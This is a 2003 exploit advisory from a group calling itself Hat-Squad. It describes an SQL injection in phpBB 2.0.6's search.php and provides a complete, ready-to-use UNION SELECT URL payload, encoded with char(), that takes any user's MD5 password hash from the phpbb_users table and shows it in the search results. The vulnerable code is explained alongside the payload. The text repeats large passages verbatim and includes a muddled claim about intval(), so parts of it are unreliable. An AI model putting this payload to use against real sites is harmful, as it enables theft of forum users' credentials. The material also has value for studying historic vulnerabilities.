::.Hat-Squad Security Group.::

November 03, 2003
Hat-Squad Releases: phpBB v2.06 search_id sql injection exploit

Using this query you will get MD5 password hash for user[uid] as [highlight]
variable for viewtopic.php in search results page.(Works with mysql>4).

http://site.com/search.php?search_id=1%20union%20select%20concat(char
(97,58,55,58,123,115,58,49,52,58,34,115,101,97,114,99,104,95,114,101,115,117,108
,116,115,34,59,115,58,49,58,34,49,34,59,115,58,49,55,58,34,116,111,116,97,108,95
,109,97,116,99,104,95,99,111,117,110,116,34,59,105,58,53,59,115,58,49,50,58,34,1
15,112,108,105,116,95,115,101,97,114,99,104,34,59,97,58,49,58,123,105,58,48,59,1
15,58,51,50,58,34),user_password,char
(34,59,125,115,58,55,58,34,115,111,114,116,95,98,121,34,59,105,58,48,59,115,58,5
6,58,34,115,111,114,116,95,100,105,114,34,59,115,58,52,58,34,68,69,83,67,34,59,1
15,58,49,50,58,34,115,104,111,119,95,114,101,115,117,108,116,115,34,59,115,58,54
,58,34,116,111,112,105,99,115,34,59,115,58,49,50,58,34,114,101,116,117,114,110,9
5,99,104,97,114,115,34,59,105,58,50,48,48,59,125))%20from%20phpbb_users%20where%
20user_id=[uid]/*

Details:

phpBB stores the search records in serialized format in php_search_result
table.in our case when search_id is not one of these values ('newposts'
|| 'egosearch' || 'unanswered' |)) then this routine will be run:

//code snnipset from search.php

$search_id = intval($search_id);
if ( $search_id )
{
$sql = "SELECT search_array
FROM " . SEARCH_TABLE . "
WHERE search_id = $search_id
AND session_id = '". $userdata
['session_id'] . "'";
if ( !($result = $db->sql_query($sql)) )
{

as you can see intval($search_id) is not safe, so the first idea would be :

search_id=1 union select user_password from php_users where user_id=[uid] /*

/* will remark the rest of Sql string (AND session_id = '". $userdata
['session_id'] . "'")

but if you run this query you will get nothing useful, seeking the rest of code
in search.php we find:

//code snnipset from search.php

$search_data = unserialize($row['search_array']);
for($i = 0; $i < count($store_vars); $i++)
{
$$store_vars[$i] = $search_data$store_vars[$i]];
}
}
}
}

//
// Look up data ...
//
if ( $search_results != '' ) {
//run search queries on post_ids,... then DISPLAY results(and our requested
password;)

feeding our query to this code the $row['search_array']) will have MD5 hash of
uid BUT remeber IT MUST BE IN Serialized format to be consider by the rest of
the code responsible for DISPLAYING result sets,So we must build a query to
return PASSWORD HASH in the form of serialized variables(To learn more about
Serialize and unserialize functions see php manual).
a simple serialized string variable $a="test" will be stored like this: a:1:
{s:0:"";s:4:"test";}
and a serialized result set in search.php has this format:
a:7:
{s:14:"search_results";s:28:"5184,,5538,,5721,,5776,,5979";s:17:"total_match_cou
nt";i:5;s:12:"split_search";a:1:{i:0;s:8:"aaaaaa";}
s:7:"sort_by";i:0;s:8:"sort_dir";s:4:"DESC";s:12:"show_results";s:6:"topics";s:1
2:"return_chars";i:200;}

we will place user_password as split_search instead of "aaaaaa". using MySql
concat() and char() functions with ASCII code format of the above serilized
object:

concat(char
(97,58,55,58,123,115,58,49,52,58,34,115,101,97,114,99,104,95,114,101,115,117,108
,116,115,34,59,115,58,49,58,34,49,34,59,115,58,49,55,58,34,116,111,116,97,108,95
,109,97,116,99,104,95,99,111,117,110,116,34,59,105,58,53,59,115,58,49,50,58,34,1
15,112,108,105,116,95,115,101,97,114,99,104,34,59,97,58,49,58,123,105,58,48,59,1
15,58,51,50,58,34),user_password,char
(34,59,125,115,58,55,58,34,115,111,114,116,95,98,121,34,59,105,58,48,59,115,58,5
6,58,34,115,111,114,116,95,100,105,114,34,59,115,58,52,58,34,68,69,83,67,34,59,1
15,58,49,50,58,34,115,104,111,119,95,114,101,115,117,108,116,115,34,59,115,58,54
,58,34,116,111,112,105,99,115,34,59,115,58,49,50,58,34,114,101,116,117,114,110,9
5,99,104,97,114,115,34,59,105,58,50,48,48,59,125))

and the final qury would be :
http://site.com/search.php?search_id=1%20union%20select%20concat(char
(97,58,55,58,123,115,58,49,52,58,34,115,101,97,114,99,104,95,114,101,115,117,108
,116,115,34,59,115,58,49,58,34,49,34,59,115,58,49,55,58,34,116,111,116,97,108,95
,109,97,116,99,104,95,99,111,117,110,116,34,59,105,58,53,59,115,58,49,50,58,34,1
15,112,108,105,116,95,115,101,97,114,99,104,34,59,97,58,49,58,123,105,58,48,59,1
15,58,51,50,58,34),user_password,char
(34,59,125,115,58,55,58,34,115,111,114,116,95,98,121,34,59,105,58,48,59,115,58,5
6,58,34,115,111,114,116,95,100,105,114,34,59,115,58,52,58,34,68,69,83,67,34,59,1
15,58,49,50,58,34,115,104,111,119,95,114,101,115,117,108,116,115,34,59,115,58,54
,58,34,116,111,112,105,99,115,34,59,115,58,49,50,58,34,114,101,116,117,114,110,9
5,99,104,97,114,115,34,59,105,58,50,48,48,59,125))%20from%20phpbb_users%20where%
20user_id=[id]/*

Using this query you will get MD5 password hash for user[uid] as [highlight]
variable for viewtopic.php in search results page.(Works with mysql>4).

Details:

//code snnipset from search.php

as you can see intval($search_id) is not safe, so the first idea would be :

search_id=1 union select user_password from php_users where user_id=[uid] /*

/* will remark the rest of Sql string (AND session_id = '". $userdata
['session_id'] . "'")

but if you run this query you will get nothing useful, seeking the rest of code
in search.php we find:

//code snnipset from search.php

$search_data = unserialize($row['search_array']);
for($i = 0; $i < count($store_vars); $i++)
{
$$store_vars[$i] = $search_data$store_vars[$i]];
}
}
}
}

//
// Look up data ...
//
if ( $search_results != '' ) {
//run search queries on post_ids,... then DISPLAY results(and our requested
password;)

we will place user_password as split_search instead of "aaaaaa". using MySql
concat() and char() functions with ASCII code format of the above serilized
object:

Hat-Squad Security Team

Join Hat-Squad Mailing List